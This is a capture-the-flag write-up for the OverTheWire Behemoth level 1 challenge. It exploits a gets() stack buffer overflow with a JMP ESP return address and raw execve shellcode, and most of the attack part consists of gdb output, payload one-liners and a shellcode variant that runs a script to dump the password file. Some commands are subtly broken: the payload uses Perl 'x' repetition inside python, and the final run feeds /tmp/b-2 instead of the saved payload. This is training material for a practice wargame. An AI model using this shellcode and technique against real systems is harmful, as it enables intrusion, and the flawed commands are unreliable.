OverTheWire.org - Behemoth - Level 1 Writeup

No source code, so let's go directly to gdb


behemoth1@behemoth:~$ gdb   /behemoth/behemoth1
....
(gdb) disass main
Dump of assembler code for function main:
   0x0804844b <+0>:     push   %ebp
   0x0804844c <+1>:     mov    %esp,%ebp
   0x0804844e <+3>:     sub    $0x44,%esp
   0x08048451 <+6>:     push   $0x8048500
   0x08048456 <+11>:    call   0x8048300 <printf@plt>
   0x0804845b <+16>:    add    $0x4,%esp
   0x0804845e <+19>:    lea    -0x43(%ebp),%eax
   0x08048461 <+22>:    push   %eax
   0x08048462 <+23>:    call   0x8048310 <gets@plt>
   0x08048467 <+28>:    add    $0x4,%esp
   0x0804846a <+31>:    push   $0x804850c
   0x0804846f <+36>:    call   0x8048320 <puts@plt>
   0x08048474 <+41>:    add    $0x4,%esp
   0x08048477 <+44>:    mov    $0x0,%eax
   0x0804847c <+49>:    leave
   0x0804847d <+50>:    ret
End of assembler dump.


Ok it's just a sequence of printf(), gets() and puts().
No other call, no comparison, etc...
Let's try to input some increasingly sequence of characters:


(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /behemoth/behemoth1
Password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Authentication failure.
Sorry.
(gdb) r
Starting program: /behemoth/behemoth1
Password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Authentication failure.
Sorry.
[Inferior 1 (process 27187) exited normally]
(gdb) r
Starting program: /behemoth/behemoth1
Password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Authentication failure.
Sorry.

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)


OK... so we can control a return address with somewhat "long" input
Let's figure out how long input...


(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /behemoth/behemoth1
Password: 0123456789012345678901234567890123456789012345678901234567890123456789AAAABBBBCCCCDDDD
Authentication failure.
Sorry.

Program received signal SIGSEGV, Segmentation fault.
0x42414141 in ?? ()


Seems that we need more than 71 bytes to trigger the overflow.
The execution flow is changed to the address contained in the byte 72-75 of the input
And cheking the registers, ESP is positioned on 76th bytes

(gdb) info reg
eax            0x0      0
ecx            0xfbad0084       -72548220
edx            0xf7fc6870       -134453136
ebx            0x0      0
esp            0xffffd6e0       0xffffd6e0
...
(gdb) x/wx 0xffffd6e0
0xffffd6e0:     0x43424242

This means that we can successfully use a reliable tecnique like JMP ESP, provided we can find a usable opcode 0xffe4 ("JMP ESP" in hex)

(gdb) info proc map
process 27246
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
         0x8048000  0x8049000     0x1000        0x0 /behemoth/behemoth1
         0x8049000  0x804a000     0x1000        0x0 /behemoth/behemoth1
         0x804a000  0x806b000    0x21000        0x0 [heap]
        0xf7e10000 0xf7e12000     0x2000        0x0
        0xf7e12000 0xf7fc3000   0x1b1000        0x0 /lib32/libc-2.24.so
        0xf7fc3000 0xf7fc5000     0x2000   0x1b0000 /lib32/libc-2.24.so
        0xf7fc5000 0xf7fc6000     0x1000   0x1b2000 /lib32/libc-2.24.so
        0xf7fc6000 0xf7fc9000     0x3000        0x0
        0xf7fd2000 0xf7fd4000     0x2000        0x0
        0xf7fd4000 0xf7fd7000     0x3000        0x0 [vvar]
        0xf7fd7000 0xf7fd9000     0x2000        0x0 [vdso]
        0xf7fd9000 0xf7ffc000    0x23000        0x0 /lib32/ld-2.24.so
        0xf7ffc000 0xf7ffd000     0x1000    0x22000 /lib32/ld-2.24.so
        0xf7ffd000 0xf7ffe000     0x1000    0x23000 /lib32/ld-2.24.so
        0xfffdd000 0xffffe000    0x21000        0x0 [stack]
(gdb) find  0xf7e12000, 0xf7fc3000, 0xe4ff
0xf7f8a4df
0xf7f97fd7
0xf7fa6647
0xf7fa6d67
0xf7fb8a03

It seems that we have 5 JMP ESP and all of them have standard characters (non standard characters like "new line" , "carriage returns"  can potentially end the gets() "too early").

Let's use the second address and prepare a buffer made of

  • 71 filling bytes buffer 
  • 0xf7f97fd7 
  • a standard execve("/bin/sh") shellcode
 Since there is an input from keyboard, let's save the shellcode to a file and use a redirection to run the vulnerable code:

behemoth1@behemoth:~$  python -c 'print "A"x71 + "\xd7\x7f\xf9\xf7" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"'  > /tmp/b-1
behemoth1@behemoth:~$  /behemoth/behemoth1 <  /tmp/b-1
behemoth1@behemoth:~$


It doesn't do anything... or not?

behemoth1@behemoth:~$ strace /behemoth/behemoth1 <  /tmp/b-1
execve("/behemoth/behemoth1", ["/behemoth/behemoth1"], [/* 17 vars */]) = 0
...
fstat64(0, {st_mode=S_IFREG|0644, st_size=99, ...}) = 0
read(0, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 4096) = 99
write(1, "Password: Authentication failure"..., 34Password: Authentication failure.
) = 34
write(1, "Sorry.\n", 7Sorry.
)                 = 7
execve("/bin//sh", ["/bin//sh"], [/* 0 vars */]) = 0
strace: [ Process PID=3824 runs in 64 bit mode. ]
....
getppid()                               = 3821
getcwd("/home/behemoth1", 4096)         = 16
ioctl(0, TCGETS, 0x7fffffffebb0)        = -1 ENOTTY (Inappropriate ioctl for device)

It looks like the shellcode is executed but it's not able to open the terminal device with ioctl() call.

Well, why not forcing output of password file instead of running a shell?

  1. Create a shell script (with vi or other editor) that dumps the password file and save it in "/tmp/b-2" (the name is not important)
  2. Make it executable
  3. Replace the execve("/bin//sh") with execve("/tmp/b-2") in the shellcode
  4. Save the exploit sstring to /tmp/b-1
  5. Execute the vulnerable program with input redirect from "/tmp/b-1"


ehemoth1@behemoth:~$ cat /tmp/b-2
#!/bin/sh
/bin/cat /etc/behemoth_pass/behemoth2

behemoth1@behemoth:~$ chmod +x /tmp/b-2
behemoth1@behemoth:~$ python -c 'print "A"x71 + "\xd7\x7f\xf9\xf7" + "\x31\xc0\x50\x68/b-2\x68/tmp\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"' > /tmp/b-1
behemoth1@behemoth:~$  /behemoth/behemoth1 <  /tmp/b-2
Password: Authentication failure.
Sorry.
e*******f

No comments:

Post a Comment

Note: Only a member of this blog may post a comment.